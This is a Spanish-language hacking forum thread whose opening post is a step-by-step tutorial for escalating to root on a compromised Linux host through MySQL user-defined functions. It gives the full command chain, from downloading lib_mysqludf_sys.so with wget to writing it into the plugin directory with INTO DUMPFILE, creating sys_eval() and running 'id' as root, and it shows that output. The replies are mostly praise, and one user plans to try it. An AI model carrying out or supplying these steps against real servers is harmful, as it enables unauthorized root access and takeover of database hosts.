comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mysql UDF injection [Elevacion de privilegios]

  • 7 Respuestas
  • 2918 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Mayo 22, 2013, 03:00:24 pm »
Una linda manera de elevar privilegios en un sistema comprometido es aprovechando los permisos con los que corren ciertos demonios en el sistema como el servidor mysql.
Hay dos formas de añadir funciones a Mysql y una de ellas es a travez de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas. Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.

Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf


Código: Text
  1. # * Basic Settings
  2. #
  3. user            = root
  4. pid-file        = /var/run/mysqld/mysqld.pid
  5. socket          = /var/run/mysqld/mysqld.sock
  6. port            = 3306
  7. basedir         = /usr
  8. datadir         = /var/lib/mysql
  9. tmpdir          = /tmp
  10. language        = /usr/share/mysql/english


Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp

Código: Bash
  1. wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so

Conectamos con las credenciales obtenidas a la base de datos

Código: Bash
  1. mysql -u "user" -p"password" database

Creamos la table code

Código: MySQL
  1. CREATE TABLE code (codigo blob);

Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.

Insertaremos la libreria en la tabla code

Código: MySQL
  1. INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));

 Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.

Código: MySQL
  1. SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

Por ultimo creamos la funcion sys_eval()


Código: MySQL
  1. CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';


Llamamos a  dicha funcion


Código: MySQL
  1. select sys_eval('id');
  2. +-----------------------------------------+
  3. | sys_eval('id')                          |
  4. +-----------------------------------------+
  5. | uid=0(root) gid=0(root) groups=0(root)
  6.  |
  7. +-----------------------------------------+



Les dejo un video demostrativo que realize en un entorno controlado




Desconectado CalebBucker

  • *
  • Underc0der
  • Mensajes: 158
  • Actividad:
    0%
  • Reputación 0
  • Te crees Estrella? Avísame para pedirte un Deseo
    • Ver Perfil
    • [In]Seguridad Informatica
« Respuesta #1 en: Mayo 22, 2013, 04:35:30 pm »
Muy bueno!

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #2 en: Mayo 22, 2013, 05:14:09 pm »
Exelente Aporte!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado s3cur1tyr00t

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Mayo 22, 2013, 05:39:21 pm »
Muy bien redactado-explicado. Mis felicitaciones...

Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« Respuesta #4 en: Mayo 22, 2013, 06:19:17 pm »
Muy bueno, Felicidades.

Desconectado Mr. Foster

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Mayo 22, 2013, 06:44:56 pm »
Wow  :o creo que esto me responde varias dudas, lo probare mañana, tendre harto material para divertirme  ;D

Desconectado ZanGetsu

  • *
  • Underc0der
  • Mensajes: 325
  • Actividad:
    1.67%
  • Reputación 0
  • I ZanGetsu
    • Ver Perfil
  • Skype: thenicox
  • Twitter: black_zangetsu
« Respuesta #6 en: Mayo 22, 2013, 07:17:42 pm »
muy buen aporte  ;)

Desconectado Mr_Pack

  • *
  • Underc0der
  • Mensajes: 59
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
    • r00tc0d3rs
    • Email
« Respuesta #7 en: Mayo 22, 2013, 07:47:54 pm »
excelente q3rv0 como siempre ;)

gracias por compartir.

salu2
____________________________

my best crime is myself

 

¿Te gustó el post? COMPARTILO!



vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

Iniciado por morodog

Respuestas: 1
Vistas: 1910
Último mensaje Junio 09, 2013, 12:05:31 pm
por ANTRAX
SQL Injection - Joomla módulo "com_fireboard"

Iniciado por M5f3r0

Respuestas: 0
Vistas: 1810
Último mensaje Agosto 16, 2013, 01:43:18 am
por M5f3r0
[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.

Iniciado por M5f3r0

Respuestas: 8
Vistas: 9113
Último mensaje Abril 21, 2017, 04:36:34 am
por M5f3r0
Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

Iniciado por q3rv0

Respuestas: 4
Vistas: 2974
Último mensaje Junio 15, 2013, 11:08:53 am
por morodog
Grave Vulnerabilidad en MySQL/MariaDB (Autenticación sin Password)

Iniciado por CalebBucker

Respuestas: 1
Vistas: 2621
Último mensaje Junio 12, 2012, 04:20:50 pm
por ANTRAX